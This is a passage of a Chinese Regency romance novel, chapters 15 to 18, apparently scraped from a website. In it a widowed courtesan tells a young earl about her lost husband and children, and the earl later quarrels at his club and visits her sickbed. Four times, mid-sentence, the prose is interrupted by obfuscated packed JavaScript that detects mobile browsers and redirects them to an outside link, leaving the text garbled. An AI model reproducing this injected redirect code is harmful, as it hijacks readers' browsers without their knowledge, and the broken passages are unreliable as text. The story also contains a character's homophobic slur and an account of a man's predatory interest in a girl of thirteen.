佩内洛普顿时有些不解，她半开玩笑道：“因为什么呢？因为你不打算付那五个基尼？” 克里斯蒂安愣了愣，然后才想起来这是他们那场其实谁都没有认真的赛马的赌注。 他不可能付不起五个基尼，于是，他说出了真正的理由。 “因为我之前误会了你与保罗·威尔莫特爵士的关系，他的目光让你心碎，不是吗？” 佩内洛普露出了她标志性的微笑：“你之前认为我们是情人吗？” 然后很快，她的笑容就僵住了，因为克里斯蒂安已经十分突兀地握住了她的手。 “不。”克里斯蒂安轻轻说，“不要这么对我笑，就像……就像……” 就像一个早已厌倦了的卖弄风情者，在男人面前用她虚假而冷淡的微笑去掩盖她的满身疲惫…… 哪怕，她确实就是这样的身份，他也就是不喜欢看她这个样子，他想面对的，从来都是更纯粹真实的她。 “如果你不喜欢我说出的话，就直接骂我吧，让我滚蛋，我会乖乖听话的。” “我不会骂你，克里斯蒂安。”她说，“如果你实在好奇，我也可以告诉你，保罗·威尔莫特确实是我的表亲，我母亲是他父亲的妹妹，所以可想而知，他是多么以我为耻。还有……” 说到这里，她又停住了，她已经说得实在太多太多了，她不知道自己是否真的可以对人倾吐那么多旧事。 但是，她看着他关切的脸想，他难道不是也对她十分坦诚吗？他的过去也不愉快，他都告诉了她。 也许他们可以互相信任。 想到这，她咬了咬牙，还是继续道：“我想许多人都知道，我曾经与一个男人私奔结婚，而那个男人，正是保罗爵士同父异母的弟弟。” 克里斯蒂安惊讶地看着她。 “我深深地爱上了一个私生子。”她想要去对他微笑，可旧日的痛苦却在她的心中迅速地蔓延开来，让她感到自己是如此的脆弱，不堪一击。 “我想他也爱你，那就足够了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347555|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一边说，一边轻轻地拍了拍她的手，这给了她继续说下去的勇气。 她点点头，脸上也浮现了一种梦幻的迷人色彩：“他确实爱我，非常爱我，他爱我直到生命的最后一刻。” “我……”她深深地吸了一口气，“我是在我舅舅哈里·威尔莫特爵士家里见到的马修——我的亡夫，当时，哈里爵士介绍他为一个远房亲戚。后来过了很久，我才在马修的坦白中知道，他原来是哈里爵士与一个苏格兰女人的私生子。” 她陷进了回忆里，把后背靠在了椅子上，眼睛则盯着壁炉里正在噼啪作响的木柴，好让自己分出去一点心思。 “哈里爵士不仅对自己的非婚生子尽到了应尽的责任，甚至可以说，他对私生子非常疼爱。他为马修规划好了未来的路，马修会很有前途的，可即便如此，我们的感情依旧根本得不到任何人同意。于是，我在夜色中匆匆收拾了一点行李便毅然决然地与他私奔了。我们一起越过边境，像所有逃亡的情侣一样，在传奇的格雷特纳-格林小镇举行了仪式。” “你非常非常勇敢。”克里斯蒂安轻声道。 即便他的心中正感到无比酸涩。 “然后，我的马修带着我去了爱丁堡，那是当年他的父母相遇的地方。他很快就找到了一份不错的工作，他还和我说，我们很快就能搬到大房子里。” 说到这些甜蜜的往事，佩内洛普苦涩的笑容总算柔和了许多。 “这是我一生中最美好的时光，在那间再普通不过的小公寓里，我一直就全心全意地做他的马修·麦金托什太太，从未提及自己是高贵的侯爵之女，拥有女爵的头衔，我甘心籍籍无名。” 可是，之后没多久，一场意外，她心爱的丈夫就死了。就在前一天，他还开开心心地给怀孕的她买了一个漂亮的新手镯，第二天，他美丽的绿眼睛就再也无法睁开了。 他再也不会整天笑着用苏格兰盖尔语叫她什么“Moleannan（我的爱人）”了，也再也不会在她洗碗时一边擦碗一边给她唱一些欢快的苏格兰民谣。 她的世界仿佛一下子就坍塌了。 “几个月后，他出了意外，他死了。” 终于说出这句话时，她的嗓音轻飘飘的，克里斯蒂安几乎都没有听清楚她在说什么。 “我们没有存下什么钱，又事发突然，不足以让他为我们安排好一切，而做了一辈子千金小姐的我也没有什么谋生的能力。我就整日以泪洗面，沉浸在悲伤之中。若不是因为怀孕了，我也许已经追随丈夫而去了。可是，为了我的孩子，我必须学会坚强起来。” “我非常遗憾。”克里斯蒂安安慰道，“但好在你确实做到了，我们都知道你有多坚强。” 即便克里斯蒂安一直悄悄爱慕着她，爱得如此深刻入骨，但此时此刻，他这句遗憾却也说得十分真心。 毕竟，他从未真正去妄想过什么，所以，他也自然会更希望她的生活中可以不要有任何的痛苦，就只有纯粹的快乐。 哪怕，那快乐是来自于另一个男人，他也可能因此永远遇不见她。 16. Chapter 16 佩内洛普道：“我得到了几个好心邻舍的帮助，之后又忍痛卖掉了家中所有值钱的东西，即便是带着母亲肖像的金项链，即便是我丈夫最后的礼物。” 她抬眸看了他一眼，在他温柔抚摸着自己的手时，感到一阵温暖的安慰：“那是一段很艰苦的时光，我好不容易才成功生下了一双身体孱弱的儿女，先出生的是男孩，我让他继承了马修的名字，但我通常叫他马特，而后出生的女孩，我给她取名为艾琳，是我母亲的名字。” 她至今都记得自己第一次当母亲时的感受。那一晚，两个小小的生命一左一右躺在她身边，她看着他们，忍不住想，她亲爱的马修总是那么好，他知道，一个女儿或一个儿子对他们夫妻而言都是不够完美的，所以，他才会在离开之前一次就给了她两个，好让他们可以没有遗憾。 “我拼命地想要养活我的女儿与儿子，也好不容易才得到一份女佣的工作，可是才没干多久，就因为被女主人发现了男主人试图亲吻我而失去了它。那个女人觉得我品行低劣，不愿给我推荐信，我再也找不到任何工作了。” “太过分了！”他声音中的愤怒与她如出一辙，这让她感觉好过了一些。 “而这还不是我倒霉的尽头。”她苦笑道，“我的儿女身体孱弱，寒潮袭来，他们缺乏周全的照顾，通通病倒了。我想你可能不太清楚，但穷人是生不起病的，大人或许还能看看他的身体扛不扛得住，可他们是这么小这么脆弱的孩子，一阵风就能吹倒，他们面对疾病根本毫无还手之力。我就像曾经的你一样，拼命地祈祷，希望上帝赐下祂的恩典……” 克里斯蒂安从未听说过她有儿女，此刻也明白最后的结果只会是什么，他们两人竟然都在上帝那里颗粒无收。一时间，深深的怜悯加上同病相怜，他那颗年轻的心愈发的难过起来。 “迫于重重的压力，我不得不回家去，找我高贵冷漠的父亲赫尔斯顿侯爵，却根本连他的面都见不到。我苦苦地哀求，求他就救一救他可怜的外孙，然后我一定会离开，绝不让他继续蒙羞，他始终没有理会。还是看着我长大的女管家实在看不下去我的模样，她偷偷摸摸地塞了我一些钱，让我带孩子治病，可那只是杯水车薪。” 说到这里，佩内洛普咬紧了牙关，那是她第一次恨一个人，却是她从小敬重的父亲。 “我又写信给了舅舅，想告诉他马修的死讯，再求他救一救他的一双孙儿，我的信被原封不动地退了回来，之后的一切就只是时间的问题了。首先是我的马特。某天早上，我被艾琳的哭声吵醒，发现他的身体已经凉透了。” 在她悲怆的哽咽声中，克里斯蒂安本能地离开了自己的座位，坐到了她椅子的扶手上，好让她可以依靠。 “我带着孩子的尸体又去找了我父亲，我像个疯女人一样在那大吵大闹，叫嚣着要去各大报社贩卖我的丑闻，让全世界都来看看赫尔斯顿侯爵家的笑话，让全世界都知道赫尔斯顿侯爵是个什么无情无义的东西。” “可是，你依旧没有见到他，是吗？”克里斯蒂安平静道。 佩内洛普点点头：“我只在准备离开时见到了凑巧来拜访的林布鲁克子爵，我父亲的朋友。一天之后，他来拜访了我。” 她的措辞很委婉，但克里斯蒂安听明白了，他不可置信道：“你说他是你父亲的朋友？” 她抬头看向他，带着一种自嘲般的坦然：“我很堕落，对吗？” 林布鲁克子爵一直很喜欢她，也一直让她暗暗地感到畏惧。从她十三岁开始，他看着她的眼神就开始变得越来越不对头，他嘴上说着当她是他的另一个女儿，可当他亲吻她时，却绝对不是以父亲一般的方式。 她当时也是没有办法了，她实在走投无路了，只能让这个对她虎视眈眈的男人最终得到了她，也让她终于有了一个避风港。 可克里斯蒂安听了她的话，一拳砸在自己腿上，便愤怒地骂道：“这个混账东西！” 他言辞的激烈，让佩内洛普都不禁有些意外。 “克里斯蒂安……” 她想要安抚他的情绪，可他继续道：“他是你父亲的朋友，你就像他的女儿一样，可他却厚颜无耻地利用了你的处境！他……他怎么可以这么伤害你？我真恨不得——” 说到这，他又闭上了嘴，显然是不想说出一些绝不适宜女士听到的话。但从他咬牙切齿的模样看，也不难猜出他究竟想说什么。 从来没有人这样为她说过话…… 佩内洛普忍住了落泪的冲动，无所谓地耸耸肩，道：“我从来没有怪过他，真的。做他的情妇其实也不错。他是个很慷慨的情人，给了我锦衣玉食，给了我的女儿最好的医疗，而我身处这种绝望的处境，本就总有一天会选择抛弃尊严出卖自己。如今，因为有他的出现，我至少没有直接就去沦落为街头的流莺，让随便哪个粗俗的男人都能把我按到阴影里，掀起我的裙子对我为所欲为。” 克里斯蒂安痛心地意识到，她说的确实是真的。女性就是这样，只有少得可怜的工作机会，一旦失去，几乎就只有这一条路走。如果她果真成了街头的流莺，也许早就不知死在了哪个街角，没有任何人在乎…… 她的父亲怎么可以这么残忍呢？堂堂的赫尔斯顿侯爵，亲手把自己唯一的女儿扔到了饿狼堆里，生怕他们不能将她啃食殆尽。 幸好她挺过来了，克里斯蒂安忍不住想，而且，哪怕曾吃了那么多的苦，她都还是如此善良美好，就像是一朵真正的玫瑰生长在荆棘里。 “我唯一遗憾的是。”佩内洛普轻轻继续道，“即便我都牺牲到了这个地步，却还是没能留住我的艾琳宝贝。” 当艾琳的病情恶化时，她没日没夜地守在女儿的床边照顾、祈祷，几乎连一口水都顾不上喝，却终究没能从死神的手中抢回女儿的性命。 她那么疯狂地爱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352432|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一场，最终，除了一身的疲惫，她什么都没有留下。 “所以我选择了去变成一个职业情妇，也从不害怕使用我的头衔，我要告诉全世界，我是赫尔斯顿侯爵的女儿，唯一的女儿，而这也让我大受欢迎。” 她说着说着，意识到自己马上就要哭出来了，她立刻闭上了自己的眼睛，好稳定情绪。 不，不要再因为父亲而哭，他做出了他的选择，并迫使她也做出了选择，现在，他们都在承受后果，她是家族永远的耻辱，该永生永世被钉在耻辱柱上。 但她还是控制不住地开始流泪。 当温热的液体在她的皮肤上滑过，她愈发不敢睁开眼睛，她不想被怜悯，而在这个世界上，也有太多太多的人比她——一个赫赫有名的交际花——值得怜悯。 上帝啊，别让他继续怜悯她了。她犯了一个错误，她不该卸下心防跟他讲故事，她大错特错了。 可他只是用他的手臂将她抱进怀里。 “如果你想哭，就尽管像个孩子一样地哭吧，这没什么，我会一直陪着你。” 她的眼泪顿时像决堤一般倾泻而出，而克里斯蒂安始终安静地抱着她，紧紧地抱着她，这种久违了的安心的感觉，对她来说，几乎就像是前世的记忆一般。 当她终于不在抽泣，只是筋疲力尽地蜷缩在他的怀抱里，时不时打几个哭嗝，一块手帕被递到了她的眼前。 她尴尬地接了过来，擤了擤鼻涕。 “我很抱歉，我今天太失态了。” “我只感激你对我的信任，佩内洛普，我希望这不会冒犯你，但我非常鄙视你的父亲，他根本不配做你的父亲。” 佩内洛普顶着红通通的双眼与鼻子，却仍然对他微笑道：“就像你的父亲也不配做你的父亲。” 闻言，克里斯蒂安也不禁笑了：“看起来我们都是不幸的孩子。” 所以现在，才能这样抱团取暖。 佩内洛普试图再和他说点什么，却情不自禁地打了个哈欠，她确实困了。 然后马上，她就感到身体一轻，他正稳稳地抱着她向着床走去。 她的心跳立刻变快了，原本强烈的睡意也在慢慢消失。 他把她轻轻地放在了柔软的床垫上，她眼中的依恋，让他鬼使神差地坐在了床边，伸出手抚摸她的脸庞。 她握住他温暖的手，移到嘴边，在他的掌心轻轻地吻了一下。 克里斯蒂安感觉到有异样的情愫在他们之间流动。他慢慢地低下头，无法自控地想要亲吻她的嘴唇，却在将要吻住她时，猛地回过了神来。 又一次，他即将失控。 于是，他立刻别过了头去，就像是在害怕什么一般，他没有再看她一眼。 “睡会儿吧，佩内洛普，做个好梦。” 他快速地说完，便逃也似的离开了佩内洛普的卧室，徒留她静静地躺在床上，黯然神伤。 17. Chapter 17 对一个漫不经心的观察者而言，今天的朗斯通伯爵只是懒洋洋地躺在俱乐部一个大扶手椅上，每一寸都活像是个被宠坏的贵族——双腿随意伸展；领带半解不解；头发略显凌乱；深色的眼睛半睁着，好似正注视着手中的苏格兰威士忌，却又任由琥珀色的液体溢出，一滴一滴没入昂贵的地毯。 然而事实上，这种印象是一种绝对的错觉，此刻，他的头脑正在飞速地运转，因为他简直是快要为他与佩内洛普的关系发愁死了。 佩内洛普，佩内洛普…… 在她的卧室，在她的床边，当他感觉到她身体的反应时，他只差一点就要彻底沦陷了，之后，他也明显地意识到她的大失所望。 他真不知道自己究竟还能保持理智多久，他实在太为那个女人着迷了，每一次接近她，都像是在刀尖上起舞。 他只能让自己好好想想父亲的笑声，并一次又一次地告诉自己，他是个残次品，残次品。他最好永远也不要忘记这一点，除非他希望在他所处的社会再也待不下去，他只能逃亡。 天呐，他不该执意上去给她送早餐并与她一起吃早餐，他让她向他倾吐了自己过去的一切，这是最高级别的信任，他知道这个。 那样的话，他就不会与她如此靠近，他真是个无耻的混蛋。 她的过去已经够黑暗了，他只是一个听众，都有一种强烈的冲动，想要找到所有让她受伤的人，与他们决斗。 他真害怕自己会在不经意间变成其中的一员。 他发出一声自我厌恶的叹息，然后一饮而尽杯中剩下的威士忌，给自己又倒了一杯。 喝醉酒很好，他需要喝醉，醉到忘记一切烦恼。 “天呐，看看这是谁啊？传奇的朗斯通伯爵！我听说，你们俩上次在歌剧院门口差点就要为了那个老女人大打出手了，那究竟是不是真的啊？” 克里斯蒂安转过头，与几张令人厌恶的面孔相遇，其中正好包括了该死的圣-约翰。 而圣-约翰也道：“我就只是想看看她究竟哪来的魅力，能把朗斯通迷住。怎么？你还真当我也变成了一位古董鉴赏家？” 这些话对克里斯蒂安的影响是显而易见的，他喝了很多的酒，那使得他很容易被点燃。他不在意别人说他的什么是非，但他非常在意这些家伙说佩内洛普是个老女人、老古董。 不，佩内洛普一点也不老，她还是个美丽的、充满活力的女人，有一双火焰一般明亮的双眼。 可圣-约翰的朋友仍不识相，他凑了过来，继续犯贱：“其实吧，我年少时也曾迷恋过一些过期货，但我对她们也就是一时的新鲜，毕竟三十岁的半老徐娘怎么比得上十六岁的青春娇嫩。我听说你那位女神几乎与惠灵顿公爵的军靴差不多大？嗯？和我说说吧，她穿起来的感觉如何？” 他话音刚落，便感到眼前一黑，在反应过来究竟发生了什么之前，人已经狠狠地摔在了地上。 他疼得头晕眼花，半边脸都麻了，鼻腔里也只觉又酸又辣，想要赶紧爬起来都无能为力，十足十的狼狈不堪。 克里斯蒂安愤怒道：“依我看，至少她的智慧显然比某些人的家谱长两倍，她的教养也是。” 圣-约翰立刻上前扶起了他的朋友道：“朗斯通勋爵，无论如何，现在有失风度的是你。” “是吗？”克里斯蒂安冷笑，“我已经够克制了，不然我会打下他每一颗牙。” 说完，克里斯蒂安就准备离开这里。 但圣-约翰却在这时嘀咕道：“残次品配过期货。” 克里斯蒂安转过了头，一字一顿道：“请你再说一次？” 圣-约翰笑了：“怎么，你还要打我？看起来你真的很喜欢为了女人打架，毕竟，你可能也没有别的方式去展现你的男子气概了。” 这是克里斯蒂安这辈子最计较的事情之一，他竭力克制了自己，才没有直接冲过去把这个男人打得半死。 他确实不该跟人动手，尤其还是在这种地方，刚刚的行为已经是出格，他最好是不要再犯了。 不过，前提也是圣-约翰得懂点事。 “我在想，圣-约翰。”克里斯蒂安说，“你总这么关心我的男子气概做什么？是因为你其实是个下贱的同性恋，还是因为有哪个你我都认识的女士曾经觉得你不行，让你心里很是在意？” 克里斯蒂安其实没有想过要特指谁，毕竟他们肯定与同样的女士调过情，可圣-约翰显然马上就想到了多萝西，结果最后，克里斯蒂安没有主动对人动手，倒是圣-约翰率先冲了过来。 尽管喝了很多酒，多年的训练也不是白费的，克里斯蒂安依旧十分轻松地躲开了他的攻击。 当克里斯蒂安准备狠狠回击时，圣-约翰的朋友赶紧拉住了疯狂的圣-约翰，毕竟他的拳脚又不是好吃的。 “我一定会让你付出代价的。”圣-约翰向克里斯蒂安怒吼。 克里斯蒂安冷冷道：“这也正是我想对你说的。” “你别以为你可以骗我，你不知道吗？我和你曾亲密无间，我甚至在你家里住了段时间，你对女人根本没有一丝兴趣。如果你想证明，那就让佩内洛普女爵出来证明，看看那个老货能为了你的钱跟珠宝撒出什么弥天大谎。” “我想，一位她这样的女士可不想参与小丑的闹剧。”克里斯蒂安道。 这时，克里斯蒂安的朋友杰瑞米·哈特利也走了过来，冷冷看着这场冲突。 “需要我为你效劳吗，朗斯通？”他话中对这几个小丑的威胁显而易见。 克里斯蒂安道：“谢谢你，但不必了，我想这几位先生马上就会离开。” 他们确实并不希望把事情闹得太大，尤其克里斯蒂安一直比他们更讨威尔士亲王的欢心。 亲王殿下也是俱乐部的常客，他不会希望听说这里不太平静的，而在他了解了个中原因之后，毫无疑问，他会更偏袒克里斯蒂安。 他们都很清楚，未来国王的态度能决定许多事情，所以，一扇扇体面的大门将会对他们关闭，对于上流社会子弟而言，那跟死亡无异。 乔治·圣-约翰灰溜溜地想离开，但走到一半，仍是忍不住扭头看向克里斯蒂安道：“替我向多蒂打个招呼。” 他脸上嘲弄的笑意令克里斯蒂安回想起许多往事，又想扑上去打人，好在哈特利及时拦住了他。 “头脑清醒一点，朗斯通，你过去根本不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357400|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会这么冲动的。” 克里斯蒂安叹了口气，重新瘫回了自己的椅子上，道：“我喝得太多了。” “那个人渣还是那么令人厌恶，他实在不该提起你的宝贝多蒂。”哈特利道。 克里斯蒂安默默补充：“还有佩内洛普女爵，他们对她实在是太刻薄了。” 哈特利来得较晚，错过了这一段，此刻听到他这么说，也不禁惊讶地问：“你……很在乎佩内洛普女爵吗？” 如果克里斯蒂安头脑清醒，他会仔细考虑再对他的朋友作答，但问题是他一点也不清醒，他还深深陷在与佩内洛普相关的愁绪里。 于是，他点了点头：“很在乎很在乎，但我们……一点也不合适。” 哈特利表示赞同：“她确实是太老了，而你却太年轻。” 克里斯蒂安立刻道：“她一点也不老，我不明白，她看起来难道不漂亮吗？而且她依旧聪明诙谐，优雅敏捷，她从身到心都一点也不老。” “行行行。”哈特利只能顺着这个正在发酒疯的家伙，“你说的当然都对。” 但他心里想的却是，天呐，他非常希望克里斯蒂安可以谈谈恋爱，可以忘记旧情人多萝西，但也不必要直接陷得这么深吧？他毫不怀疑，克里斯蒂安过去对多萝西都不曾爱到了这种地步，果然姜还是老的辣。 克里斯蒂安见他识相，本能地拿起了自己的酒杯，就准备再来一杯。 哈特利赶紧抢了过来，道：“求你了，你明明从来不是贪杯的人，喝这么多酒真的不适合你。” “那我回家去吧。” 克里斯蒂安摇摇晃晃地站起身，意识到哈特利准备送他回家，他又摇了摇头。 “不用了，我找得到回家的路。” 哈特利优雅地耸了耸肩，也不强求。 “我与哈特利太太下个月准备办个小型聚会，我希望你与你美丽的新情妇会愿意赏脸。” 克里斯蒂安头疼道：“别用那个词，我与佩内洛普女爵只是朋友而已。” 而他也必须安于现状，他不能总是被诱惑，总是想要跨越那根线，而这也肯定会让她伤心、多想。 他这次是不是就又伤了她的心呢？ 想到这里，他感到一阵心痛。 他明明可以解释，他也非常相信她，但那还是不够，不够让他暴露所有的一切，他太怕被嘲笑，尤其是她。 如果他一开始就远离那个女人，这一切本来都是可以避免的，但他偏偏没有，他甚至现在还是想凑过去…… 哈特利不知道就这么短短一会儿的功夫，面前男人的心思能转几个弯。 “好吧。”哈特利道，“那就希望你与你的朋友佩内洛普女爵愿意赏脸参加。” 他对克里斯蒂安的话毫不在意，是朋友还是情妇，反正也不过是换种说法而已。 克里斯蒂安也不知道自己最后怎么搪塞过去的，总之，他离开了俱乐部。 他告诉自己，等到他酒醒了，收拾好自己，他必须解释，至少让她明白，不是她欠缺魅力，而是他配不上她。 是的，他永远都配不上她…… 他一边想着，一边跌跌撞撞地爬上了自己的马车。 18. Chapter 18 克里斯蒂安完全能理解佩内洛普为什么会找各种借口不愿意见他。 可许多天过去了，一个又一个的闭门羹还是让他感到烦躁不安。 他不停地给她送花送信，她也一样也没有收下，通通退了回去。 于是，当他特意参加舞会只为看看她会不会到场，结果却大失所望时，他的脸色真是十分之难看。 但显而易见的是，他可怕的脸色并没有阻止任何热情的母亲，他毕竟好多天不曾与佩内洛普一同露面了，她们可能以为他们总算分手了。 没花多久的时间，他就不得不与舞会上所有的未婚女子以及她们的母亲认识或者打了招呼，甚至还有一些已婚女士也在那里对他暗送秋波。 他努力地想逃到棋牌室里去，跟那些无聊的老头子混在一起，却还是在快要踏进去时被一位眼尖的太太抓到。 “啊，朗斯通勋爵！” 她眉开眼笑的，带着她身边的女孩就直接走了过去。 他定睛一看，是威尔莫特夫人与威尔莫特小姐。 哪怕她们可能看不起佩内洛普，也毕竟与佩内洛普是表亲。于是，原本烦不胜烦的他一时间又有了几分耐心。 他向她们打了招呼，之后威尔莫特夫人便开始不停地叽叽喳喳，等他好不容易反应过来她都说了什么时，他已经不得不在威尔莫特小姐的舞会卡签下了大名。 他头疼不已，他很少与人跳舞，尤其还一跳就是与威尔莫特小姐这种风云人物，这件事很有可能会被刊登在报纸上，就像上次他与佩内洛普跳时一样。因为他们的年龄差，那条新闻写得还非常刻薄。 但威尔莫特小姐的脸色和他差不多。她看起来同样烦透了要跟乱七八糟的人跳舞。 在华尔兹的乐声中，他们翩翩起舞，看在外人眼里，倒是还挺登对，也不知多少绅士淑女将要因此气得咬牙。 “你说，我看起来像她吗？”米娜·威尔莫特忽然笑眯眯地问。 克里斯蒂安都没反应过来：“什么？” “佩内洛普表亲。” 她对佩内洛普的称呼让他安了心，看起来，这位体面的准男爵家的小姐并不对佩内洛普心怀恶意。 而因为她的问题，他也第一次仔细打量了一下她的脸，意识到自己之前就能记住她大约就是这个原因，她们确实是有几分相似。 于是，他也这么回答了：“你们确实有相似的地方。” “我就知道。”她显然有些得意于自己能发现这个，“她总是在偷偷地看我，还以为我没有注意到，我其实早就发现了，我想，原因就是我们长得有点相像。” 克里斯蒂安意外地挑了挑眉，却并不觉得就仅仅只是这个原因。他已经知道了佩内洛普那些不为人知的故事，他猜测，佩内洛普大概在透过威尔莫特小姐看自己的女儿，威尔莫特小姐的父亲既是她的表亲，又是她丈夫同父异母的兄弟，在这个世界上没有人比这个女孩更适合她偷偷地代入了。 只可惜，他不可能向任何人透露佩内洛普的故事，这是对佩内洛普难得给予的信任的背叛，故而，对于威尔莫特小姐的猜测，他什么也没有说。 “我挺喜欢她。”米娜·威尔莫特又道，“我第一次看见她就觉得很亲近，只是我看妈妈仿佛很嫌弃她，我不敢问，后来在剧院，爸爸看见她也很生气，于是，我回去终于大着胆子假装无意地问了她是谁，那是他第一次对我大发脾气，他不允许我再提起她。” 克里斯蒂安叹了口气，道：“她只是一个很不幸的女人，小姐。” 她点点头：“我能猜到这个，我想，她曾有过一段轰轰烈烈的爱情，对吗？我可真希望我也能有一段轰轰烈烈的爱情。” 这种想法太危险了，克里斯蒂安忍不住想。 他正要劝她最好是打消念头，她促狭一笑，又开口了：“你完全爱上她了，对我没有一丁点兴趣，对不对？你现在纯粹是被迫跟我跳舞。我母亲对付有教养的年轻男士一直很有一套，你是根本无法拒绝她的。” 被她这么直接戳穿，克里斯蒂安顿时有些尴尬，脚下都差点跳错一步。 他连忙礼貌地反驳：“不，小姐，你愿意赏脸是我的荣幸。” 可米娜却皱了皱鼻子，道：“真虚伪，你们这些人总是这一套话。我只是想说，你如果真的爱她，就还是立刻回到她的身边去，告诉她你爱她，而不是出来招蜂引蝶，还随便同意和其他女士跳舞，引人误会，你没看见我都快要被许多人的目光杀死了吗？我太渺小了，承受不起你的厚爱，爵爷。” 她话音刚落，华尔兹的乐声也适时地停了下来。 这女孩其实很讨人喜欢，克里斯蒂安想，今晚她穿着一身白色的礼服，看上去几乎像是一朵百合花。而他也清楚，她确实适合百合花，一个天真单纯的姑娘，还像佩内洛普一样的美丽俏皮，倒也难怪会俘获了半个伦敦的绅士的心。 只是，无论她再如何可爱，他的心也还是被牢牢地系在了佩内洛普身上。 他不禁想起了刚刚她对他说的话。 是了，他可绝不能被区区的几个闭门羹打倒了，他必须得见到佩内洛普，而且只要他想，他就一定可以做到。 他中途就离开了舞会，为此他向主人诚恳致歉了一次又一次，而后便心急火燎地朝着佩内洛普住处赶去。 当马车在佩内洛普居住的联排别墅后门停了下来，他跳下了马车，便让他的车夫不必留下来等他，直接回去，他到时候会自己叫辆出租马车回家。 然后，他走过去，正思索是撬门还是爬上去时，便发现他们今天居然忘了锁门，这可真是上帝保佑。 他轻手轻脚地钻了进去，当他鬼鬼祟祟地走进厨房，正准备一路偷偷去往佩内洛普的卧室时，他直接便迎面撞上了一位拿着蜡烛的女士。 “啊啊啊啊啊啊啊啊！” 他听见一阵凄厉的叫声。 一时间，所有人都出动了。 在昏暗的光线中，双拳难敌四手的他迅速被佩内洛普高大强壮的管家按在了厨房桌子上。 然后，大家才点了灯。 “朗斯通勋爵？” 惊魂未定的莎拉将手按在胸口上，简直无语得想笑。 她只是伺候病人伺候了半天，肚子饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362084|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了就跑下来拿点东西吃，还以为是撞上了来偷窃的歹徒，结果谁知道来的居然是个情圣啊。 克里斯蒂安尴尬地看着这位佩内洛普的好朋友，也礼貌地打了声招呼道：“你好，里士满夫人。” 她调侃道：“我想你是来看佩妮的吧，可真是不走寻常路啊。” 克里斯蒂安讪讪道：“她不肯见我。” “那是自然。”莎拉道，“她毕竟病了，又向来讨厌被情人看见她的病容，美丽的女人皆是如此。” “她生病了？”克里斯蒂安惊呼道。 然后，他才在莎拉那戏谑的眼神中，赶紧解释：“不，事实上我们只是朋友。” “好吧，朋友，你想怎么说都行，随便你。”莎拉耸了耸肩，无所谓道。 克里斯蒂安仍然想解释，可他组织了一下语言，最后还是选择了闭嘴。 毕竟这难道不就是他希望的吗？他从一开始与佩内洛普做朋友的目的就不太清白，一方面，他想与她有联系，却又不想与她发生关系，另一方面，他也希望别人因为他们的名声误会他们的关系，好阻止其他人向他献媚。 他现在应该高兴他的目的达到了。 他一边想着这些有的没的，一边心里还是实在关心佩内洛普的身体。 “我想见她，你说她生病了，严重吗？我希望她已经在康复了。” “她感冒了，总是在发烧，医生给她开了大黄酊剂与催吐剂，但没什么用，她的病情反反复复的。” 一说到朋友的病情，莎拉的笑意又消失了，而是叹了口气。 “唉，她其实很少生病的，但每次生病都很让人操心。” 克里斯蒂安立刻自责地想到了那场大雨，是他非要邀请她一起骑马的，之后他也没能好好照顾她。 “这都是我的错。”克里斯蒂安又看向莎拉，“我可以见见她吗，我求你？” 莎拉无奈地眨眨眼睛：“你都用这种可怜的眼神看我了，我还能说什么呢？我只能可怜可怜你了。” 那可真是谢谢她的可怜了。 克里斯蒂安把外套交给女仆艾米莉，就跟着莎拉一起上了楼。 真糟糕，莎拉想，她都还没有吃上东西呢。 可作为曾经红极一时的交际花，她并没有因为已经嫁给了富裕老头就忘记了自己的职业素养，她绝不愿意在一位绅士面前做只馋猪，哪怕这位绅士完全是她好友的囊中之物，还比她年轻得多。 反正，她与佩内洛普之间一向没什么是不能分享的，也许她真的有机会呢？ 想到这里，她本能地朝这年轻人抛去了一个媚眼，直接吓得纯洁的从未想过佩内洛普的朋友会这样对待自己的克里斯蒂安抖了两抖。 他尴尬得只能立刻清了清嗓子，莎拉一个绷不住，直接就笑出了声。 好不容易，克里斯蒂安才走完了这段简直比他的命还长的路，并终于来到了佩内洛普的卧室里。 